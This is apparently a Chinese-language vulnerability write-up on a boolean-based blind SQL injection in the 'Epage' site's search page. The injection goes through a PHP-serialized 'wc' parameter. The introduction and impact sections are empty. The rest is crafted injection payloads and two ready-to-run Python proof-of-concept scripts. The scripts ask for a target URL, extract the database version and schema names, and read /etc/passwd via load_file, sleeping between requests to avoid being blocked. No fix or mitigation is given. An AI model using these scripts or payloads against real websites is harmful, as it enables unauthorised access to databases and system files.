Epage sql 注入漏洞¶
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
将单引号用来站内搜寻时发现不可注入，正准备放弃时发现搜索结果的第N页的连结中使用了php序列刚好最近学到php序列不安全，未检查的情况下unserialize后会造成许多问题，甚至RCE看了一下序列的长相是否有机可称：
wc=a:3:{s:3:"Key";s:4:"test";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
嗯，是一个序列化过的array，里面的key竟然是我刚才的输入！？试试注入单引号，失败，准备放弃QQ我的输入会显示出来......，那试试XSS好了蛤，报错！？原来没有过滤双引号啊而且还回显了完整的sql语句开始闭合语句
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
查无资料
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),1,1)="5")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询，以此类推
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),3,1)="0")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询
透过构造
a:3:{s:3:"Key";s:42:""and(substring(version(),5,1)="8")and"%"="";s:8:"pagesize";s:2:"10";s:3:"Rcg";i:0;}
显示查询
证明存在Boolean Based Blind Injection漏洞，mysql版本为5.0.8
poc1 retrive database¶
可通过poc解析server上的database名称与版本> 同理也可以进一步dump出每个栏位的资料
此外网站也有权限可以load_file（outfile试不出来，可能是没权限或我太菜了QQ）
import requests import time print("Blind SQL injection in php Serialize POC") url=input("Target url:") url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}" print("start parsing") print("") print("MYSQL version:") for i in range(1,10,2): for k in range(0,10): session = requests.Session() closed_sql='\"and({inject})and\"%\"=\"' inject_sql= closed_sql.format(inject="substring(version(),{i},1)=\"{k}\"") inject_sql= inject_sql.format(i=i,k=k) inject_url=url.replace("@",str(len(inject_sql))) inject_url=inject_url.replace("*",inject_sql) r = session.get(inject_url) r.encoding = 'utf-8' if("未找到符合條件的資料" not in r.text): print(k,end=".") print("version detect complete,take a break...........") print() print() time.sleep(5) print("parsing lenth of available database..............") all_valid_database=0 for i in range(1,50): session = requests.Session() closed_sql='\"and({inject})and\"%\"=\"' inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>0") inject_sql= inject_sql.format(i=i) inject_url=url.replace("@",str(len(inject_sql))) inject_url=inject_url.replace("*",inject_sql) r = session.get(inject_url) r.encoding = 'utf-8' if("未找到符合條件的資料" in r.text): all_valid_database = i print(all_valid_database) break print("parsing finish,take a break") time.sleep(3) print("start parsing available database") print("available database:") for i in range(1,all_valid_database): time.sleep(2) for k in range(32,126): session = requests.Session() closed_sql='\"and({inject})and\"%\"=\"' inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>{k}") inject_sql= inject_sql.format(i=i,k=k) inject_url=url.replace("@",str(len(inject_sql))) inject_url=inject_url.replace("*",inject_sql) r = session.get(inject_url) r.encoding = 'utf-8' if("未找到符合條件的資料" in r.text): if (k==44): print(chr(k),end="") print() else: print(chr(k),end="") break
poc2 load etc/passwd¶
import requests import time print("Blind SQL injection in php Serialize POC") url=input("Target url:") url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}" print("start parsing") print("") all_valid_database=1436#如上一個poc的找法，但這次手動二分搜尋法xd，怕用程式跑，太密集會被server擋掉 print("start parsing available file") print("etc/passwd:") for i in range(1,all_valid_database): time.sleep(2) for k in range(32,126): session = requests.Session() closed_sql='\"and({inject})and\"%\"=\"' inject_sql= closed_sql.format(inject="(ascii(substring((select(load_file(\"/etc/passwd\"))),{i},1)))>{k}") inject_sql= inject_sql.format(i=i,k=k) inject_url=url.replace("@",str(len(inject_sql))) inject_url=inject_url.replace("*",inject_sql) r = session.get(inject_url) r.encoding = 'utf-8' if("未找到符合條件的資料" in r.text): print(chr(k),end="") break
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